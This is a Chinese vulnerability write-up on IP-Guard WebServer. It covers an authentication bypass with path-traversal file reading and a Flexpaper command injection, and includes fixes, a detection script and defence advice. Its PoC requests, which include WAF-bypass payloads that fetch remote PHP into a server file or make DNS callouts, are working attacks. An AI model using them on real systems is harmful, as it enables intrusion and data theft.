IP-guard WebServer 2024年年初两个漏洞简单分析
字数 1438 2025-08-05 08:19:59
IP-Guard WebServer 漏洞分析与利用教学文档
1. 权限绕过漏洞(QVD-2024-14103)分析
1.1 漏洞定位
漏洞存在于IP-Guard WebServer的mApplyList.php文件中,具体路径为:
ipg/application/controllers/appr/mApplyList.php
1.2 漏洞函数分析
关键函数:downloadFile_client,主要功能是从本地Web服务器下载文件到本地。
函数逻辑分析:
-
接收参数:
langConfig和backparam:控制语言版本和水印,非必要参数- 必要参数:
path、fileName和action
-
路径处理:
- 将
path赋值给file_dir:file_dir = f"tempFile/{path}" tempFile实际路径:TEC\WebServer\www\ipg\tempFile
- 将
-
动作判断:
- 支持两种动作:
review和download - 非这两种动作会被处理为
error
- 支持两种动作:
下载逻辑:
- 使用
fopen打开本地文件(file_dir) - 将
fileBaseName(即filename)传入headers - 以buffer模式输出到
response中
1.3 漏洞利用
初始Payload:
GET /ipg/appr/MApplyList/downloadFile_client?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download HTTP/1.1
问题:会被重定向到登录页面
绕过方法:
在URL末尾添加/getdatarecord,导致权限检查被绕过:
GET /ipg/appr/MApplyList/downloadFile_client/getdatarecord?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download HTTP/1.1
绕过原理:
func获取URL最后一个/后的值- 如果是
getdatarecord,则记录未授权登录的errorlog - 直接
return而没有redirect,导致权限绕过
1.4 修复方案
在判断getdatarecord记录errorlog之后增加redirect:
if($func != 'download') {
if ($func == 'getdatarecord') {
$this->errorresult(ErrorCode::OERR_NOT_LOGIN);
redirect("appr/SignIn");
return;
}
redirect("appr/SignIn");
return;
}
1.5 版本修复情况
在4.82.0607.0版本中:
- 限制了
path的目录 - 使用
str_replace去掉所有的/和\ - 无法直接读取
php.ini
1.6 检测脚本
Python检测脚本示例:
import requests
import argparse
def check(url) -> bool:
try:
result = False
if url:
response = requests.get(f"{url}/ipg/appr/MApplyList/downloadFile_client/getdatarecord")
if response.status_code == 200:
result = True
except Exception as e:
print(f"Error: {e}")
return result
def main():
parser = argparse.ArgumentParser(description='Check if a URL is vulnerabled.')
parser.add_argument('-u', '--url', type=str, help='URL to check', default=None)
args = parser.parse_args()
url = args.url
if url:
if check(url):
print("URL is vulnerabled.")
else:
print("URL is not vulnerabled.")
else:
print("-u target No URL provided.")
if __name__ == "__main__":
main()
2. Flexpaper远程命令执行漏洞
2.1 漏洞复现
基本PoC:
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.docx"+%26+echo+shell+>+shel233l.txt+%23&page=exp&format=swf&callback=callback&isSplit=true HTTP/1.1
2.2 漏洞分析
关键文件:
view.php:接收用户输入tool_transform.php:包含实际执行命令的函数
漏洞函数:
trans_pdf2pngtrans_pdftk
漏洞原理:
- 从
view.php获取的参数直接传入tool_transform.php - 参数拼接后直接通过
exec执行 - 可使用管道符执行其他命令
2.3 修复方案
官方修复:
- 直接删除
view.php - 但保留了
tool_transform.php
2.4 绕过WAF的PoC
绕过某WAF的PoC 1:
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.pdf&format=swf&isSplit=true&page=||%22C%3A%5CProgram+Files+%28x86%29%5CTEC%5CWebServer%5Cphp%5Cphp.exe%22+-r+%22echo+file_get_contents%28%27http%3A%2F%2F192.168.10.248%2Fserver%2Fs.php%27%29%3B%22%20>>ttttt.php HTTP/1.1
绕过某WAF的PoC 2(DNS查询):
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.pdf&format=swf&isSplit=true&page=||nslookup%20yafjjulyfe.dgrh3.cn HTTP/1.1
其他绕过技巧:
- 使用
certutil -urlcache -f直接下载文件 - 当WAF升级使用正则匹配URL时,需要寻找新的绕过方法
3. 总结
3.1 权限绕过漏洞关键点
- 利用
/getdatarecord路径绕过权限检查 - 目录遍历读取系统文件
- 新版本通过过滤特殊字符修复
3.2 命令执行漏洞关键点
- 参数直接拼接执行命令
- 多种命令执行方式
- 官方修复不彻底(只删除前端文件)
- 需要创造性思维绕过WAF检测
3.3 防御建议
- 及时更新到最新版本
- 对用户输入进行严格过滤
- 实现完整的权限检查机制
- 使用参数化查询而非字符串拼接
- 部署WAF并定期更新规则